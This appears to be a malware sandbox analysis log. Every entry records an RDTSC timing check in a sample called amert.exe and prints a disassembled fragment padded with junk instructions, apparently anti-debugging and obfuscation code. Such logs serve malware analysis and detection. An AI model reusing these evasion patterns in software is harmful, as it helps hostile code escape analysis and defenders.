Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8B64 second address: 7F8BC8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0D7471B5ECh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b ja 00007F0D7471B5ECh 0x00000011 nop 0x00000012 sbb edx, 661256BFh 0x00000018 push 00000000h 0x0000001a sub dword ptr [ebp+122D30A3h], esi 0x00000020 call 00007F0D7471B5D9h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0D7471B5DDh 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8BC8 second address: 7F8C04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0D755569BAh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F0D755569BCh 0x00000013 pop edx 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F0D755569C7h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8C04 second address: 7F8C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D7471B5E9h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8C21 second address: 7F8C30 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8D21 second address: 7F8D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8D25 second address: 7F8D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8D2B second address: 7F8D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8DD5 second address: 7F8DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8DDC second address: 7F8ED5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D7471B5E2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F0D7471B5DBh 0x00000010 nop 0x00000011 mov edx, esi 0x00000013 push 00000000h 0x00000015 mov edx, dword ptr [ebp+122D39E7h] 0x0000001b call 00007F0D7471B5D9h 0x00000020 jmp 00007F0D7471B5DDh 0x00000025 push eax 0x00000026 push eax 0x00000027 jmp 00007F0D7471B5DEh 0x0000002c pop eax 0x0000002d mov eax, dword ptr [esp+04h] 0x00000031 pushad 0x00000032 jmp 00007F0D7471B5E2h 0x00000037 jns 00007F0D7471B5DCh 0x0000003d popad 0x0000003e mov eax, dword ptr [eax] 0x00000040 jg 00007F0D7471B5F0h 0x00000046 pushad 0x00000047 jmp 00007F0D7471B5E6h 0x0000004c pushad 0x0000004d popad 0x0000004e popad 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 jnl 00007F0D7471B5E0h 0x00000059 pop eax 0x0000005a mov cx, si 0x0000005d push 00000003h 0x0000005f ja 00007F0D7471B5DCh 0x00000065 mov dword ptr [ebp+122D32CFh], ebx 0x0000006b push 00000000h 0x0000006d mov edi, dword ptr [ebp+122D39D7h] 0x00000073 jmp 00007F0D7471B5DAh 0x00000078 push 00000003h 0x0000007a mov ecx, edx 0x0000007c call 00007F0D7471B5D9h 0x00000081 jng 00007F0D7471B5E4h 0x00000087 push eax 0x00000088 push eax 0x00000089 push edx 0x0000008a push esi 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8ED5 second address: 7F8EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8EDA second address: 7F8F26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ecx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push esi 0x00000016 jmp 00007F0D7471B5E8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 push ecx 0x00000022 pushad 0x00000023 popad 0x00000024 pop ecx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F8F26 second address: 7F8F5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b adc cx, 0876h 0x00000010 lea ebx, dword ptr [ebp+1244D836h] 0x00000016 call 00007F0D755569C2h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d push ebx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 80B79D second address: 80B7A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 80B7A3 second address: 80B7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 80B7AB second address: 80B7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F0D7471B5EBh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 81793E second address: 817944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817944 second address: 81794A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 81794A second address: 817967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D755569C4h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817BD8 second address: 817BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817BDC second address: 817C0D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0D755569B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0D755569C7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0D755569BEh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817C0D second address: 817C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817C11 second address: 817C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0D755569B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817C23 second address: 817C29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817C29 second address: 817C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 817EA3 second address: 817EAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8183E0 second address: 8183F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8183F5 second address: 818407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 je 00007F0D7471B5D6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818407 second address: 81843C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0D755569C9h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8185BD second address: 8185CF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D7471B5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F0D7471B5DEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818723 second address: 818769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F0D755569C6h 0x0000000b jmp 00007F0D755569C1h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F0D755569C6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818B26 second address: 818B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818B2A second address: 818B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnl 00007F0D755569B6h 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F0D755569C2h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jc 00007F0D755569B6h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818B5C second address: 818B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 818B60 second address: 818B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0D755569B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F0D755569C3h 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F0D755569C0h 0x0000001b pop ecx 0x0000001c push eax 0x0000001d je 00007F0D755569B6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 81945F second address: 819466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82026E second address: 820273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 820273 second address: 820287 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D7471B5DFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8213E1 second address: 821402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d js 00007F0D755569CAh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0D755569BCh 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 821402 second address: 82141E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D7471B5E0h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82141E second address: 821424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 825070 second address: 82507A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0D7471B5DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7EF854 second address: 7EF85A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8247BD second address: 8247C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8247C1 second address: 8247CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 js 00007F0D755569B6h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8247CF second address: 8247E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 popad 0x0000000a ja 00007F0D7471B5DEh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824E7E second address: 824E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824E84 second address: 824EAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5DCh 0x00000007 js 00007F0D7471B5D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F0D7471B5D8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnp 00007F0D7471B5D6h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EAA second address: 824EAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EAE second address: 824EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EBD second address: 824EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EC1 second address: 824ECB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0D7471B5D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824ECB second address: 824EEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D755569C9h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EEA second address: 824EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824EEF second address: 824F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569C4h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 824F09 second address: 824F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0D7471B5DDh 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827C04 second address: 827C1A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 js 00007F0D755569D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F0D755569B6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827D01 second address: 827D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827D05 second address: 827D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827D09 second address: 827D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828B11 second address: 828B15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828B15 second address: 828B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828B23 second address: 828B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828B27 second address: 828B3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828D3F second address: 828D46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828D46 second address: 828D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F0D7471B5E3h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828D67 second address: 828D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 828D6D second address: 828D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 829537 second address: 82953E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 829EFE second address: 829F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 829D71 second address: 829D77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82BAAA second address: 82BAAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82A78D second address: 82A793 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82B85A second address: 82B875 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82B875 second address: 82B87B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82C491 second address: 82C49B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D7471B5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82C49B second address: 82C4CF instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D755569C2h 0x00000008 jmp 00007F0D755569BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 pushad 0x00000012 jmp 00007F0D755569C9h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82C4CF second address: 82C568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007F0D7471B5D8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 sbb esi, 3B6CAB57h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007F0D7471B5D8h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 jno 00007F0D7471B5EAh 0x00000049 push 00000000h 0x0000004b je 00007F0D7471B5DCh 0x00000051 mov edi, dword ptr [ebp+122D39ABh] 0x00000057 jng 00007F0D7471B5DCh 0x0000005d and edi, 260D0A92h 0x00000063 xchg eax, ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F0D7471B5DDh 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82C568 second address: 82C577 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82CF59 second address: 82CF5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82D9E3 second address: 82D9EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82D9EA second address: 82DA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a jmp 00007F0D7471B5E2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82E222 second address: 82E23E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D755569C4h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82E23E second address: 82E248 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F0D7471B5D6h 0x0000000a rdtsc
